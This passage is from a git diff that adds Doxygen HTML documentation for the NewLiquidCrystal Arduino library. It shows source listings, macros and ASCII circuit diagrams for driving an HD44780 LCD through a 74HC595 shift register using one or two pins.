+00040 LiquidCrystal_SR1W::LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol)
+00041 {
+00042         init ( srdata, circuitType, blpol, 1, 0 );
+00043 }
+00044 
+00045 // PRIVATE METHODS
+00046 // ---------------------------------------------------------------------------
+00047 
+00048 //
+00049 // init
+00050 void LiquidCrystal_SR1W::init(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol, uint8_t lines, uint8_t font)
+00051 {
+00052         _srRegister = fio_pinToOutputRegister(srdata);
+00053         _srMask = fio_pinToBit(srdata);
+00054    
+00055         _circuitType = circuitType;
+00056    
+00057         _blPolarity = blpol;
+00058    
+00059         _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00060    
+00061    clearSR();
+00062    
+00063         backlight(); // set default backlight state to on
+00064 }
+00065 
+00066 //
+00067 // clearSR
+00068 uint8_t LiquidCrystal_SR1W::clearSR()
+00069 {
+00070         uint8_t numDelays = 0;
+00071    
+00072         // Store these as local variables for extra performance (and smaller compiled sketch size)
+00073         fio_register srRegister = _srRegister;
+00074         fio_bit srMask = _srMask;
+00075    
+00076         // Set the Serial PIN to a LOW state
+00077         SR1W_ATOMIC_WRITE_LOW(srRegister, srMask);
+00078    
+00079         // We need to delay to make sure the Data and Latch/EN capacitors are fully discharged
+00080         // This also triggers the EN pin because of the falling edge.
+00081         SR1W_DELAY();
+00082    
+00083         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00084         {
+00085                 // Pre-calculate these values for extra performance and to make sure the clock pulse is as quick as possible
+00086                 fio_bit reg_val = *srRegister;
+00087                 fio_bit bit_low = reg_val & ~srMask;
+00088                 fio_bit bit_high = reg_val | srMask;
+00089       
+00090                 // Clear the shift register (without triggering the Latch/EN pins)
+00091                 // We only need to shift 7 bits here because the subsequent HIGH transistion will also shift a '0' in.
+00092                 for (int8_t i = 6; i>=0; i--)
+00093                 {
+00094                         // Shift in a '0' (NOTE: This clock pulse needs to execute as quickly as possible)
+00095                         *srRegister = bit_high;
+00096                         *srRegister = bit_low;
+00097                 }
+00098       
+00099                 // Set the Serial PIN to a HIGH state so the next nibble/byte can be loaded
+00100                 // This also shifts the 8th '0' bit in.
+00101                 *srRegister = bit_high;
+00102         }
+00103    
+00104         // Give the Data capacitor a chance to fully charge
+00105         SR1W_DELAY();
+00106    
+00107         return numDelays;
+00108 }
+00109 
+00110 //
+00111 // loadSR
+00112 uint8_t LiquidCrystal_SR1W::loadSR(uint8_t val)
+00113 {
+00114         uint8_t numDelays = 0;
+00115    
+00116         // Store these as local variables for extra performance (and smaller compiled sketch size)
+00117         fio_register srRegister = _srRegister;
+00118         fio_bit srMask = _srMask;
+00119    
+00120         // NOTE: This assumes the Serial PIN is already HIGH and the Data capacitor is fully charged
+00121         uint8_t previousBit = 1;
+00122    
+00123         // Send the data to the shift register (MSB first)
+00124         for (int8_t i = 7; i>=0; i--)
+00125         {
+00126                 if (val & 0x80)
+00127                 {
+00128                         if (previousBit == 0)
+00129                         {
+00130                                 // We need to make sure the Data capacitor has fully recharged
+00131                                 SR1W_DELAY();
+00132                         }
+00133          
+00134                         previousBit = 1;
+00135          
+00136                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00137                         {
+00138                                 // Pre-calculate these values to make sure the clock pulse is as quick as possible
+00139                                 fio_bit reg_val = *srRegister;
+00140                                 fio_bit bit_low = reg_val & ~srMask;
+00141                                 fio_bit bit_high = reg_val | srMask;
+00142             
+00143                                 // Shift in a '1' (NOTE: This clock pulse needs to execute as quickly as possible)
+00144                                 *srRegister = bit_low;
+00145                                 *srRegister = bit_high;
+00146                         }
+00147                 }
+00148                 else
+00149                 {
+00150                         // Shift in a '0'
+00151                         SR1W_ATOMIC_WRITE_LOW(srRegister, srMask);
+00152          
+00153                         // We need to make sure the Data capacitor has fully discharged
+00154                         SR1W_DELAY();
+00155          
+00156                         previousBit = 0;
+00157          
+00158                         SR1W_ATOMIC_WRITE_HIGH(srRegister, srMask);
+00159                 }
+00160                 val <<= 1;
+00161         }
+00162    
+00163         // NOTE: Serial PIN is currently HIGH
+00164    
+00165         // For SW_CLEAR, we need to delay to make sure the Latch/EN capacitor is fully charged.
+00166         //   This triggers the Latch pin because of the rising edge.
+00167         // For HW_CLEAR, we need to delay to give the hardware time to perform the clear.
+00168         //   This also gives the Data capacitor a chance to fully charge
+00169         SR1W_DELAY();
+00170    
+00171    if (_circuitType == SW_CLEAR)
+00172         {
+00173                 // Clear the shift register to get ready for the next nibble/byte
+00174                 // This also discharges the Latch/EN capacitor which finally triggers the EN pin because of the falling edge.
+00175                 numDelays += clearSR();
+00176    }
+00177         else
+00178         {
+00179                 // For some reason HW_CLEAR isn't totally stable unless we delay a little bit more.
+00180                 // TODO... figure this out...
+00181                 SR1W_DELAY();
+00182         }
+00183    
+00184         return numDelays;
+00185 }
+00186 
+00187 // PUBLIC METHODS
+00188 // ---------------------------------------------------------------------------
+00189 
+00190 
+00191 /************ low level data pushing commands **********/
+00192 //
+00193 // send
+00194 void LiquidCrystal_SR1W::send(uint8_t value, uint8_t mode)
+00195 {
+00196         uint8_t numDelays = 0;
+00197    
+00198         uint8_t data;
+00199    
+00200         if ( mode != FOUR_BITS )
+00201         {
+00202                 // upper nibble
+00203                 data = ( mode == DATA ) ? SR1W_RS_MASK : 0;
+00204                 data |= SR1W_EN_MASK | SR1W_UNUSED_MASK;
+00205                 data |= _blMask;
+00206       
+00207                 if (value & _BV(4))     data |= SR1W_D4_MASK;
+00208                 if (value & _BV(5)) data |= SR1W_D5_MASK;
+00209                 if (value & _BV(6)) data |= SR1W_D6_MASK;
+00210                 if (value & _BV(7)) data |= SR1W_D7_MASK;
+00211       
+00212                 numDelays += loadSR(data);
+00213         }
+00214    
+00215         // lower nibble
+00216         data = ( mode == DATA ) ? SR1W_RS_MASK : 0;
+00217         data |= SR1W_EN_MASK | SR1W_UNUSED_MASK;
+00218         data |= _blMask;
+00219    
+00220         if (value & _BV(0))     data |= SR1W_D4_MASK;
+00221         if (value & _BV(1)) data |= SR1W_D5_MASK;
+00222         if (value & _BV(2)) data |= SR1W_D6_MASK;
+00223         if (value & _BV(3)) data |= SR1W_D7_MASK;
+00224    
+00225         numDelays += loadSR(data);
+00226    
+00227         // Make sure we wait at least 40 uS between bytes.
+00228         unsigned int totalDelay = numDelays * SR1W_DELAY_US;
+00229         if (totalDelay < 40)
+00230                 delayMicroseconds(40 - totalDelay);
+00231 }
+00232 
+00233 //
+00234 // setBacklight
+00235 void LiquidCrystal_SR1W::setBacklight ( uint8_t value )
+00236 { 
+00237         // Check for polarity to configure mask accordingly
+00238         // ----------------------------------------------------------
+00239         if  ( ((_blPolarity == POSITIVE) && (value > 0)) || 
+00240         ((_blPolarity == NEGATIVE ) && ( value == 0 )) )
+00241         {
+00242                 _blMask = SR1W_BL_MASK;
+00243         }
+00244         else 
+00245         {
+00246                 _blMask = 0;
+00247         }
+00248    
+00249         // Send a dummy (non-existant) command to allow the backlight PIN to be latched.
+00250         // The seems to be safe because the LCD appears to treat this as a NOP.
+00251         send(0, COMMAND);
+00252 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html new file mode 100644 index 0000000..630abda --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h.html @@ -0,0 +1,380 @@ + + + + +LCD Library: LiquidCrystal_SR1W.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes | +Defines | +Enumerations
+
+
LiquidCrystal_SR1W.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + +

+Classes

class  LiquidCrystal_SR1W

+Defines

#define SR1W_ATOMIC_WRITE_HIGH(reg, mask)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; }
#define SR1W_ATOMIC_WRITE_LOW(reg, mask)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; }
#define SR1W_BL_MASK   0x20
#define SR1W_D4_MASK   0x10
#define SR1W_D5_MASK   0x08
#define SR1W_D6_MASK   0x04
#define SR1W_D7_MASK   0x02
#define SR1W_DELAY()   { delayMicroseconds(SR1W_DELAY_US); numDelays++; }
#define SR1W_DELAY_US   5
#define SR1W_EN_MASK   0x80
#define SR1W_RS_MASK   0x40
#define SR1W_UNUSED_MASK   0x01

+Enumerations

enum  t_sr1w_circuitType { SW_CLEAR, +HW_CLEAR + }
+

Define Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
#define SR1W_ATOMIC_WRITE_HIGH( reg,
 mask 
)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; }
+
+
+ +

Definition at line 294 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define SR1W_ATOMIC_WRITE_LOW( reg,
 mask 
)   ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; }
+
+
+ +

Definition at line 293 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_BL_MASK   0x20
+
+
+ +

Definition at line 289 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D4_MASK   0x10
+
+
+ +

Definition at line 288 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D5_MASK   0x08
+
+
+ +

Definition at line 287 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D6_MASK   0x04
+
+
+ +

Definition at line 286 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_D7_MASK   0x02
+
+
+ +

Definition at line 285 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + + + + +
#define SR1W_DELAY()   { delayMicroseconds(SR1W_DELAY_US); numDelays++; }
+
+
+ +

Definition at line 279 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_DELAY_US   5
+
+
+ +

Definition at line 278 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_EN_MASK   0x80
+
+
+ +

Definition at line 291 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_RS_MASK   0x40
+
+
+ +

Definition at line 290 of file LiquidCrystal_SR1W.h.

+ +
+
+ +
+
+ + + + +
#define SR1W_UNUSED_MASK   0x01
+
+
+ +

Definition at line 284 of file LiquidCrystal_SR1W.h.

+ +
+
+

Enumeration Type Documentation

+ +
+
+ + + + +
enum t_sr1w_circuitType
+
+
+
Enumerator:
+ + +
SW_CLEAR  +
HW_CLEAR  +
+
+
+ +

Definition at line 297 of file LiquidCrystal_SR1W.h.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html new file mode 100644 index 0000000..d154880 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8h_source.html @@ -0,0 +1,429 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.h
+
+
+
1 
+
2 // ---------------------------------------------------------------------------
+
3 // Created/Adapted by Stephen Erisman 2013-07-06
+
4 // Copyright 2013 - Under creative commons license 3.0:
+
5 // Attribution-ShareAlike CC BY-SA
+
6 //
+
7 // This software is furnished "as is", without technical support, and with no
+
8 // warranty, express or implied, as to its usefulness for any purpose.
+
9 //
+
10 // @file LiquidCrystal_SR1W.h
+
11 // Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching
+
12 // ShiftRegister (SR1W from now on).
+
13 //
+
14 // @brief
+
15 // This is the 1 wire shift register interface class for the LCD library
+
16 //
+
17 // The functionality provided by this class and its base class is a superset of
+
18 // the original functionality of the Arduino LiquidCrystal library and can
+
19 // be used as such.
+
20 // See the LCD class for a full description of the API functions available.
+
21 //
+
22 // It works with a 8-bit latched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+
23 // shift register, and an hd44780 LCD in 4-bit mode.
+
24 // The 74HC595 shift register has been tested.
+
25 //
+
26 //
+
27 // 1 Pin required from the Arduino:
+
28 // - Serial PIN:
+
29 // The Serial PIN is wired directly to the shift register's Clock PIN and its
+
30 // unaltered signal directly triggers the Clock on every LOW to HIGH transition.
+
31 //
+
32 // Additionally, the Serial PIN is wired through a resistor capacitor (RC) filter to
+
33 // the shift register's Data PIN. During a quick transition of the Serial PIN the
+
34 // RC filter will maintain the Data PIN's previous value because the capacitor isn't
+
35 // given enough time to charge (or discharge) to the alternate state. If the transition
+
36 // is held for enough time, however, the RC capacitor will charge (or discharge) and the
+
37 // value seen by the Data PIN will have changed state.
+
38 //
+
39 // There are two circuit versions that behave differently for Latch, Enable, and Clear:
+
40 //
+
41 // HW_CLEAR version:
+
42 // In this version the shift register's Latch and LCD's Enable PINs are wired directly to
+
43 // the shift register's Q'H output. The shift register's /Clear PIN is then wired up
+
44 // through two logic "gates": first QH and Q'H are AND'd together with a diode-resistor
+
45 // "gate" the output of which is NAND'd with VCC using a resistor-NPN-resistor "gate".
+
46 // So, /CLR = ((QH AND Q'H) NAND VCC). We also put a capacitor on the NPN base to GND
+
47 // to delay the signal a bit and allow the Latch and EN signals some extra time to trigger.
+
48 //
+
49 // This all fits together as follows:
+
50 // 1. We shift in a '1'.
+
51 // 2. Ws shift in the other 7 bits.
+
52 // 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH.
+
53 // 4. When Q'H is HIGH it causes Latch and EN to also go HIGH.
+
54 // 5. When Latch transitions to HIGH it changes the shift register outputs to the bits
+
55 // that were shifted in.
+
56 // 6. This causes QH to go HIGH (if it wasn't already).
+
57 // 7. Now that QH AND Q'H are both HIGH they causes the base capacitor to start charging.
+
58 // 8. When the capacitor has charged enough the transistor brings /CLR LOW.
+
59 // 8. This will cause /CLR to trigger and the shift register will be cleared
+
60 // (NOTE: This doesn't change the latched outputs)
+
61 // 9. The clearing of the shift register causes Q'H to go LOW.
+
62 // 9. When Q'H is LOW it causes Latch and EN to also go LOW.
+
63 // 10. When EN transitions to LOW the LCD reads in the bits on the shift register pins
+
64 // and does it's thing.
+
65 // 11. Now that Q'H is LOW the base capacitor starts discharging.
+
66 // 12. When the capacitor has discharged enough the transistor will stop sinking /CLR.
+
67 // 13. This will cause /CLR to be pulled back up to HIGH by the VCC pullup resistor
+
68 // (it will stay that way until our next nibble/byte has been shifted in)
+
69 // 14. We are now ready for our next nibble/byte.
+
70 //
+
71 //
+
72 // SW_CLEAR version:
+
73 // In this version the Serial PIN is wired to the shift register's Latch and LCD's Enable
+
74 // PINs through another RC filter. These PINs are also wired through a diode (AND "gate")
+
75 // tied to the shift register's Q'H output. This combination means that the Latch and
+
76 // Enable PINs will be held LOW as long as EITHER the Q'H or RC output is LOW.
+
77 //
+
78 // This all fits together as follows:
+
79 // 1. We shift in a '1'.
+
80 // 2. We shift in the other 7 bits. (NOTE: We leave Serial PIN HIGH at the end of this)
+
81 // 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH.
+
82 // (NOTE: Up until this time Q'H has been LOW so the attached diode has been keeping
+
83 // the Latch/EN pins LOW.)
+
84 // 4. Now that Q'H is HIGH it causes the attached diode to stop discharging the Latch/EN
+
85 // capacitor. We delay here for a while to make sure it is fully charged.
+
86 // 5. When the capacitor has charged enough Latch/EN will be HIGH
+
87 // 5. When Latch transitions to HIGH it changes the shift register outputs to what was
+
88 // shifted in.
+
89 // 6. We now bring the Serial PIN LOW and wait for the Latch/EN capacitor to discharge.
+
90 // 7. When the capacitor has discharged enough Latch/EN will be LOW
+
91 // 8. When EN transitions to LOW the LCD reads in the bits on the shift register pins
+
92 // and does it's thing.
+
93 // 9. We now shift in '0' 8 times (as quickly as possible).
+
94 // 10. If we keep the LOW to HIGH to LOW pulses short enough while shifting in the '0's
+
95 // the Latch/EN capacitor won't have time to charge to a point where it will re-trigger
+
96 // the Latch/EN pins.
+
97 // 11. Now Q'H will be LOW and the shift register has been cleared (NOTE: This doesn't
+
98 // change the latched outputs.)
+
99 // 12. We now bring the Serial PIN HIGH again and wait for the Data capacitor to recharge.
+
100 // 13. When the Data capacitor has fully charged we are ready for our next nibble/byte.
+
101 //
+
102 //
+
103 // These designs incorporate (and merge) ideas originally found here (1-wire concept):
+
104 // http://www.romanblack.com/shift1.htm
+
105 // and here (diode-resistor AND "gate" EN control):
+
106 // http://www.rentron.com/Myke1.htm
+
107 // as well as introducing some new and original ideas (particularly how HW_CLEAR works).
+
108 //
+
109 // Because of its use of the diode AND "gate", the SW_CLEAR design allows for faster sending
+
110 // of data to the LCD compared to Roman's original design. With the proposed 5uS delay (see
+
111 // notes below), a byte can be sent to the LCD in as little as 30 uS (plus overhead) when
+
112 // sending all 1's. This increases to as much as 190 uS (plus overhead) when sending all 0's.
+
113 // This is in comparison to Roman's estimate of around 3-4 mS to send a byte. So this
+
114 // implementation is 15-133 times faster for the cost of a single (1N4148 or similar) diode.
+
115 //
+
116 // The HW_CLEAR version is even faster as it can completely eliminate the clearSR() call as
+
117 // well as the delays that are needed to latch the data in the SW_CLEAR version.
+
118 //
+
119 //
+
120 // Default Shift Register Bits - Shifted MSB first:
+
121 // Bit #0 (QA) - not used
+
122 // Bit #1 (QB) - connects to LCD data input D7
+
123 // Bit #2 (QC) - connects to LCD data input D6
+
124 // Bit #3 (QD) - connects to LCD data input D5
+
125 // Bit #4 (QE) - connects to LCD data input D4
+
126 // Bit #5 (QF) - optional backlight control
+
127 // Bit #6 (QG) - connects to RS (Register Select) on the LCD
+
128 // Bit #7 (QH) - used for /CLR on the HW_CLEAR version (cannot be changed)
+
129 // (Q'H) - used for Latch/EN (via the diode AND "gate") (cannot be changed)
+
130 //
+
131 // NOTE: Any of these can be changed around as needed EXCEPT Bit #7 (QH and Q'H).
+
132 //
+
133 //
+
134 // Circuit Types (for the 74HC595)
+
135 // -------------------------------
+
136 // The 74HC595 is a latching shift register. See the explanations above for how these circuits
+
137 // work.
+
138 //
+
139 //
+
140 // HW_CLEAR version: (Faster but higher part count)
+
141 // ------------------------------------------------
+
142 //
+
143 // 74HC595 (VCC)
+
144 // +----u----+ | 2.2nF
+
145 // (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND)
+
146 // (LCD D6)------------2-|QC QA|-15 |
+
147 // (LCD D5)------------3-|QD SER|-14-------+--[ Resistor ]--+
+
148 // (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k |
+
149 // (BL Circuit)--------5-|QF RCK|-12-----+ |
+
150 // | | \ |
+
151 // (LCD RS)------------6-|QG SCK|-11-------)----------------+--(Serial PIN)
+
152 // | | |
+
153 // +-------7-|QH /CLR|-10-------)--+--[ Resistor ]--(VCC)
+
154 // | | | / | 1k
+
155 // | +--8-|GND Q'H|--9-----+ |
+
156 // | | +---------+ | | (GND)--(LCD RW)
+
157 // | | 0.1uF | \
+
158 // | (GND)-----||----(VCC) +------)--------------(LCD EN)
+
159 // | | /
+
160 // |----|<|----+--[ Resistor ]--| |
+
161 // diode | 1k C
+
162 // | |
+
163 // +-------------+---B-|> (NPN)
+
164 // | |
+
165 // (2.2nF) = E
+
166 // | |
+
167 // (GND) (GND)
+
168 //
+
169 //
+
170 // SW_CLEAR version: (Lower part count but slower)
+
171 // -----------------------------------------------
+
172 //
+
173 // 74HC595 (VCC)
+
174 // +----u----+ | 2.2nF
+
175 // (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND)
+
176 // (LCD D6)------------2-|QC QA|-15 |
+
177 // (LCD D5)------------3-|QD SER|-14---------+--[ Resistor ]--+
+
178 // (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k |
+
179 // (BL Circuit)--------5-|QF RCK|-12---------+ |
+
180 // | | \ |
+
181 // (LCD RS)------------6-|QG SCK|-11-----------)--------------+--(Serial PIN)
+
182 // 7-|QH /CLR|-10--(VCC) / |
+
183 // +--8-|GND Q'H|--9---|<|---+--[ Resistor ]--+
+
184 // | +---------+ diode | 1.5k
+
185 // | |
+
186 // | 0.1uF |
+
187 // (GND)-----||----(VCC) +----||----(GND)
+
188 // | 2.2nF
+
189 // (LCD EN)-------------------------------------+
+
190 // (LCD RW)--(GND)
+
191 //
+
192 //
+
193 // In either case the LCD RW pin is hardwired to GND meaning we will only be able to write
+
194 // to the LCD.
+
195 // Therefore, the Busy Flag (BF, data bit D7) is not able to be read and we have to make use
+
196 // of the minimum delay time constraints. This isn't really a problem because it usually
+
197 // takes us longer to shift and latch the data than the minimum delay anyway. For now, we
+
198 // simply keep track of our delays and add more delay at the end to get to at least 37 uS.
+
199 //
+
200 //
+
201 // Backlight Control Circuit
+
202 // -------------------------
+
203 // Since we are using the latching nature of the shift resiter we don't need the extra
+
204 // backlight circuitry that SR2W uses. Keeping it around, however, would still work because
+
205 // the circuit just slows down the transitions to the mosfet a bit.
+
206 //
+
207 // Here are two more optimized versions that can be used.
+
208 //
+
209 //
+
210 // NPN Transistor version: (Cheaper but more power draw and higher part count)
+
211 // ---------------------------------------------------------------------------
+
212 //
+
213 // (value depends on LCD, 100ohm is usually safe)
+
214 // (LCD BL anode)---[ resistor ]---(VCC)
+
215 //
+
216 // (LCD BL cathode)---------------+
+
217 // |
+
218 // C
+
219 // |
+
220 // (BL input)--[ Resistor ]---B-|> (NPN)
+
221 // 1k |
+
222 // E
+
223 // |
+
224 // (GND)
+
225 //
+
226 // NOTE: The Bate resistor is needed because the NPN is current fed. For lower
+
227 // power draw, try a 10k resistor.
+
228 //
+
229 //
+
230 // N-CH Mosfet version: (More costly but less power draw and lower part count)
+
231 // ---------------------------------------------------------------------------
+
232 //
+
233 // (value depends on LCD, 100ohm is usually safe)
+
234 // (LCD BL anode)---[ resistor ]---(VCC)
+
235 //
+
236 // (LCD BL cathode)---------------+
+
237 // |
+
238 // D
+
239 // |
+
240 // (BL input)----------------G-|-< (2N7000 FET)
+
241 // |
+
242 // S
+
243 // |
+
244 // (GND)
+
245 //
+
246 // NOTE: Gate resistor not needed because the mosfet is voltage fed and only really
+
247 // pulls current while switching.
+
248 //
+
249 // In either case, when the BL input is HIGH the LCD backlight will turn on.
+
250 //
+
251 //
+
252 // History
+
253 // 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations
+
254 // 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit
+
255 // 2013.07.09 serisman - added an even faster version that performs the clear in hardware
+
256 // 2013.07.08 serisman - changed code to shift data MSB first to match SR2W
+
257 // 2013.07.07 serisman - major speed optimization
+
258 // 2013.07.06 serisman - created/modified from SR2W source to create SR1W
+
259 // @author S. Erisman - arduino@serisman.com
+
260 // --------------------------------------------------------------------------------
+
261 
+
262 #ifndef _LIQUIDCRYSTAL_SR1W_
+
263 #define _LIQUIDCRYSTAL_SR1W_
+
264 
+
265 #include <inttypes.h>
+
266 #include "LCD.h"
+
267 #include "FastIO.h"
+
268 
+
269 // 1-wire SR timing constants
+
270 // ---------------------------------------------------------------------------
+
271 
+
272 // NOTE:
+
273 // The 1.5k resistor (1.2k - 1.8k with a 20% tolerance)
+
274 // takes between 2.376uS and 4.36uS to fully charge or discharge
+
275 // the 2.2n capacitor (1.98n - 2.42n with a 10% tolerance).
+
276 // We round this up to a 5uS delay to provide an additional safety margin.
+
277 
+
278 #define SR1W_DELAY_US 5
+
279 #define SR1W_DELAY() { delayMicroseconds(SR1W_DELAY_US); numDelays++; }
+
280 
+
281 // 1-wire SR output bit constants
+
282 // ---------------------------------------------------------------------------
+
283 
+
284 #define SR1W_UNUSED_MASK 0x01 // Set unused bit(s) to '1' as they are slightly faster to clock in.
+
285 #define SR1W_D7_MASK 0x02
+
286 #define SR1W_D6_MASK 0x04
+
287 #define SR1W_D5_MASK 0x08
+
288 #define SR1W_D4_MASK 0x10
+
289 #define SR1W_BL_MASK 0x20
+
290 #define SR1W_RS_MASK 0x40
+
291 #define SR1W_EN_MASK 0x80 // This cannot be changed. It has to be the first thing shifted in.
+
292 
+
293 #define SR1W_ATOMIC_WRITE_LOW(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; }
+
294 #define SR1W_ATOMIC_WRITE_HIGH(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; }
+
295 
+
296 
+
297 typedef enum { SW_CLEAR, HW_CLEAR } t_sr1w_circuitType;
+
298 
+
299 class LiquidCrystal_SR1W : public LCD
+
300 {
+
301 public:
+
313  LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType,
+
314  t_backlighPol blpol = POSITIVE);
+
315 
+
328  virtual void send(uint8_t value, uint8_t mode);
+
329 
+
330 
+
340  void setBacklight ( uint8_t mode );
+
341 
+
342 private:
+
343 
+
349  void init ( uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol,
+
350  uint8_t lines, uint8_t font );
+
351 
+
357  uint8_t clearSR ();
+
358 
+
363  uint8_t loadSR (uint8_t val);
+
364 
+
365  fio_register _srRegister; // Serial PIN
+
366  fio_bit _srMask;
+
367 
+
368  t_sr1w_circuitType _circuitType;
+
369 
+
370  uint8_t _blPolarity;
+
371  uint8_t _blMask;
+
372 };
+
373 #endif
+
LiquidCrystal_SR1W
Definition: LiquidCrystal_SR1W.h:299
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_SR1W::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SR1W.cpp:194
+
LiquidCrystal_SR1W::setBacklight
void setBacklight(uint8_t mode)
Definition: LiquidCrystal_SR1W.cpp:235
+
LiquidCrystal_SR1W::LiquidCrystal_SR1W
LiquidCrystal_SR1W(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol=POSITIVE)
Definition: LiquidCrystal_SR1W.cpp:40
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LCD Library 1.3.0
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+
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LiquidCrystal_SR2W.cpp File Reference
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#include "LiquidCrystal_SR2W.h"
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LCD Library 1.3.0
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LiquidCrystal_SR2W.cpp
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00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Bill Perry 2012-03-16
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR2W.cpp
+00013 // Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR2W from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 //
+00021 // See the corresponding SR2W header file for full details.
+00022 //
+00023 // History
+00024 // 2012.03.29  bperrybap - Fixed incorrect use of 5x10 for default font 
+00025 //                         (now matches original LQ library)
+00026 //                         Fixed typo in SR2W mask define names
+00027 //                         changed default backlight state to on
+00028 // 2012.03.16  bperrybap - created/modified from SR sources to create SR2W
+00029 // @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com
+00030 // ---------------------------------------------------------------------------
+00031 
+00032 #include "LiquidCrystal_SR2W.h"
+00033 
+00034 // CONSTRUCTORS
+00035 // ---------------------------------------------------------------------------
+00036 // Assuming 1 line 8 pixel high font
+00037 LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol)
+00038 {
+00039         init ( srdata, srclock, blpol, 1, 0 );
+00040 }
+00041 
+00042 
+00043 // PRIVATE METHODS
+00044 // ---------------------------------------------------------------------------
+00045 
+00046 //
+00047 // init
+00048 void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font)
+00049 {
+00050         _srDataRegister = fio_pinToOutputRegister(srdata);
+00051         _srDataMask = fio_pinToBit(srdata);
+00052         _srClockRegister = fio_pinToOutputRegister(srclock);
+00053         _srClockMask = fio_pinToBit(srclock);
+00054    
+00055         _blPolarity = blpol;
+00056    
+00057         _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00058    
+00059         backlight(); // set default backlight state to on
+00060 }
+00061 
+00062 //
+00063 // loadSR
+00064 void LiquidCrystal_SR2W::loadSR(uint8_t val)
+00065 {
+00066         // Clear to keep Enable LOW while clocking in new bits
+00067         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask);
+00068    
+00069    
+00070         // clock out SR data byte
+00071         fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST);
+00072    
+00073         
+00074         // strobe LCD enable which can now be toggled by the data line
+00075         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00076         {
